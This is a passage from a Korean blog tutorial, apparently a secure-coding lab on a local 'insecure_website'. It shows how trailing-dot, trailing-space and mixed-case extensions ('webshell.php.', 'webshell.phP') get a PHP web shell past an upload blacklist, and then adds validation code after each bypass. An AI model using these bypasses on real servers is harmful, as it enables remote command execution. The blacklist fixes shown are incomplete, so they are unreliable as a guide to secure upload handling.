&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yEU3e/btsMoPrPmV1/ciRmrGqEAchroM1wz56KEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yEU3e/btsMoPrPmV1/ciRmrGqEAchroM1wz56KEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yEU3e/btsMoPrPmV1/ciRmrGqEAchroM1wz56KEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyEU3e%2FbtsMoPrPmV1%2FciRmrGqEAchroM1wz56KEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;652&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/upload/webshell.php 로 접속한다. ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SLb7K/btsMoPyAKsj/MOvO5Ky4kG5El6rvKQIwqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SLb7K/btsMoPyAKsj/MOvO5Ky4kG5El6rvKQIwqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SLb7K/btsMoPyAKsj/MOvO5Ky4kG5El6rvKQIwqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSLb7K%2FbtsMoPyAKsj%2FMOvO5Ky4kG5El6rvKQIwqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;629&quot; height=&quot;214&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일이 업로드된 디렉터리로 이동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치: C:\APM_Setup\htdocs\insecure_website\upload&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;139&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pDNa9/btsMqbtLkbZ/4drT35NNjQ9s0BZAqspt1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pDNa9/btsMqbtLkbZ/4drT35NNjQ9s0BZAqspt1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pDNa9/btsMqbtLkbZ/4drT35NNjQ9s0BZAqspt1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpDNa9%2FbtsMqbtLkbZ%2F4drT35NNjQ9s0BZAqspt1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;643&quot; height=&quot;139&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;139&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.php. 을 업로드했는데, webshell.php 가 업로드 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 확장자 끝에 . 을 입력하고 엔터를 누르면 . 이 사라지고 php 만 남게된다. (윈도우 환경에서는 확장자 끝부분의 점이 사라진다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션에서는 마지막에 있는 문자를 확장자로 인식하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 빈 값이 들어오게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드에는 php 와 html 만 허용하지 않으므로 빈 값은 우회하여 업로드가 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빈값에 대한 검증 로직도 들어가야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 빈 값 검증 로직 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740034377240&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info[&quot;extension&quot;];

			if($ext == &quot;&quot; || $ext == &quot;php&quot; || $ext ==&quot;html&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 다시 업로드를 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zw3UW/btsMpU6Nd4s/Uh4B6ulcC0SGHknmBlEnhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zw3UW/btsMpU6Nd4s/Uh4B6ulcC0SGHknmBlEnhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zw3UW/btsMpU6Nd4s/Uh4B6ulcC0SGHknmBlEnhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzw3UW%2FbtsMpU6Nd4s%2FUh4B6ulcC0SGHknmBlEnhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;244&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 업로드가 불가한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 빈 값 검증에는 . 입력 이외에도 한 가지 케이스가 더 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 뒤에 공백을 입력하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;case 2-1) test.php.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;case 2-2) test.php[공백]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 업로드 된 파일은 삭제 한다. (upload 디렉터리에서 삭제)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 게시글 업로드 시 확장자 끝 부분에 공백을 두고 업로드 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;718&quot; data-origin-height=&quot;352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZJB2R/btsMoNOmaTX/hKfZYcA4NpGwnFzdTkDrN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZJB2R/btsMoNOmaTX/hKfZYcA4NpGwnFzdTkDrN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZJB2R/btsMoNOmaTX/hKfZYcA4NpGwnFzdTkDrN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZJB2R%2FbtsMoNOmaTX%2FhKfZYcA4NpGwnFzdTkDrN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;718&quot; height=&quot;352&quot; data-origin-width=&quot;718&quot; data-origin-height=&quot;352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 업로드에 성공한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cndVxz/btsMplcIkyO/tcmtMo2ykVeRk4IYfKx9jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cndVxz/btsMplcIkyO/tcmtMo2ykVeRk4IYfKx9jk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cndVxz/btsMplcIkyO/tcmtMo2ykVeRk4IYfKx9jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcndVxz%2FbtsMplcIkyO%2FtcmtMo2ykVeRk4IYfKx9jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;660&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upload 디렉터리를 확인해보니 webshell.php 가 업로드된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7xclX/btsMqxDoxOn/ttKKy8v9KJi5FMEKnnfoy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7xclX/btsMqxDoxOn/ttKKy8v9KJi5FMEKnnfoy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7xclX/btsMqxDoxOn/ttKKy8v9KJi5FMEKnnfoy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7xclX%2FbtsMqxDoxOn%2FttKKy8v9KJi5FMEKnnfoy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;124&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 에서 웹쉘 업로드 위치로 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/upload/webshell.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘이 업로드 되었으며, 시스템 명령어 실행도 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;227&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvHw2b/btsMoRwucNI/V25aHhBMtgSk4xoAxB79Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvHw2b/btsMoRwucNI/V25aHhBMtgSk4xoAxB79Z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvHw2b/btsMoRwucNI/V25aHhBMtgSk4xoAxB79Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvHw2b%2FbtsMoRwucNI%2FV25aHhBMtgSk4xoAxB79Z1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;227&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;227&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 공백을 두고 업로드 하였는데 php로 업로드 되었을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 뒤에 공백이 오면 윈도우 서버 자체에서 공백을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션 관점에서는 .php 와 .php[공백]은 다른 파일이므로 우회가 되서 업로드 되지만, 운영체제에서는 공백 자체를 삭제하므로 .php 로 인식하게 된다. &amp;rarr; 어플리케이션과 운영체제에서 인식되는 차이점을 이용해서 우회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드에는 다음과 같이 적용이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;trim 함수를 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;trim() 함수: &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;문자열 의 맨 앞과, 맨 뒤 의 공백을 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 trim 함수 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740035134809&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = trim($file_info[&quot;extension&quot;]);

			if($ext == &quot;&quot; || $ext == &quot;php&quot; || $ext ==&quot;html&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 수정 후 upload 디렉터리에 있는 webshell.php 를 삭제 후 다시 업로드를 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 소스코드에 trim 이 적용되어 공백도 검증하게된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czXt8N/btsMpo1wH3y/5ixM05p1xHFnvxZNHkAMBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czXt8N/btsMpo1wH3y/5ixM05p1xHFnvxZNHkAMBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czXt8N/btsMpo1wH3y/5ixM05p1xHFnvxZNHkAMBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczXt8N%2FbtsMpo1wH3y%2F5ixM05p1xHFnvxZNHkAMBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;228&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case 3) 대문자 검증 미흡&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배열을 사용하여 코드를 좀 더 깔끔하게 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;in_array(확인할&amp;nbsp;값,&amp;nbsp;배열,&amp;nbsp;자료형&amp;nbsp;확인&amp;nbsp;여부&amp;nbsp;=&amp;nbsp;FALSE)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;in_array 사용하여 $ext 안에 $ext_arr 배열에 있는 값이 존재하면 허용하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 확장자안에 공백, php, html 이 있다면은 허용하지 않는다.&lt;/p&gt;
&lt;pre id=&quot;code_1740134675343&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = trim($file_info[&quot;extension&quot;]);
			$ext_arr = array(&quot;&quot;, &quot;php&quot;, &quot;html&quot;);

			if(in_array($ext, $ext_arr)) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 공백, php, html 이 포함된 webshell.php 를 업로드하니 업로드가 되지 않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7odON/btsMtddULlX/3yUYPe6EWuaCnytQep9qQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7odON/btsMtddULlX/3yUYPe6EWuaCnytQep9qQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7odON/btsMtddULlX/3yUYPe6EWuaCnytQep9qQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7odON%2FbtsMtddULlX%2F3yUYPe6EWuaCnytQep9qQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;244&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 php 확장자를 대문자로 입력하여 업로드를 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webshell.phP&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvd7pI/btsMrl5q7xF/rdKmq6KtriJ99KWp97heZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvd7pI/btsMrl5q7xF/rdKmq6KtriJ99KWp97heZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvd7pI/btsMrl5q7xF/rdKmq6KtriJ99KWp97heZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvd7pI%2FbtsMrl5q7xF%2FrdKmq6KtriJ99KWp97heZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;744&quot; height=&quot;372&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 업로드가 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;657&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSVPHT/btsMrtPZxhU/6UC6qWmGFkAAKSCMKDMnc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSVPHT/btsMrtPZxhU/6UC6qWmGFkAAKSCMKDMnc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSVPHT/btsMrtPZxhU/6UC6qWmGFkAAKSCMKDMnc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSVPHT%2FbtsMrtPZxhU%2F6UC6qWmGFkAAKSCMKDMnc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;657&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버의 upload 디렉터리를 확인해보니 실제로 파일이 생성된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpEF8Y/btsMsJ5CN4W/aKU9l4fLeNNBqEr7DSCHB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpEF8Y/btsMsJ5CN4W/aKU9l4fLeNNBqEr7DSCHB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpEF8Y/btsMsJ5CN4W/aKU9l4fLeNNBqEr7DSCHB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpEF8Y%2FbtsMsJ5CN4W%2FaKU9l4fLeNNBqEr7DSCHB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;159&quot; data-origin-width=&quot;678&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1/insecure_website/upload/webshell.phP 에 접속을 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;193&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHQMm/btsMuhfE64i/vzjqP0ZOzLKdxjAVZt5okK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHQMm/btsMuhfE64i/vzjqP0ZOzLKdxjAVZt5okK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHQMm/btsMuhfE64i/vzjqP0ZOzLKdxjAVZt5okK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHQMm%2FbtsMuhfE64i%2FvzjqP0ZOzLKdxjAVZt5okK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;193&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;193&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어를 실행하니 정상적으로 실행되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;669&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXbDZV/btsMtNMFV6K/nzVC0t6GgfpayahH6slhG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXbDZV/btsMtNMFV6K/nzVC0t6GgfpayahH6slhG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXbDZV/btsMtNMFV6K/nzVC0t6GgfpayahH6slhG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXbDZV%2FbtsMtNMFV6K%2FnzVC0t6GgfpayahH6slhG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 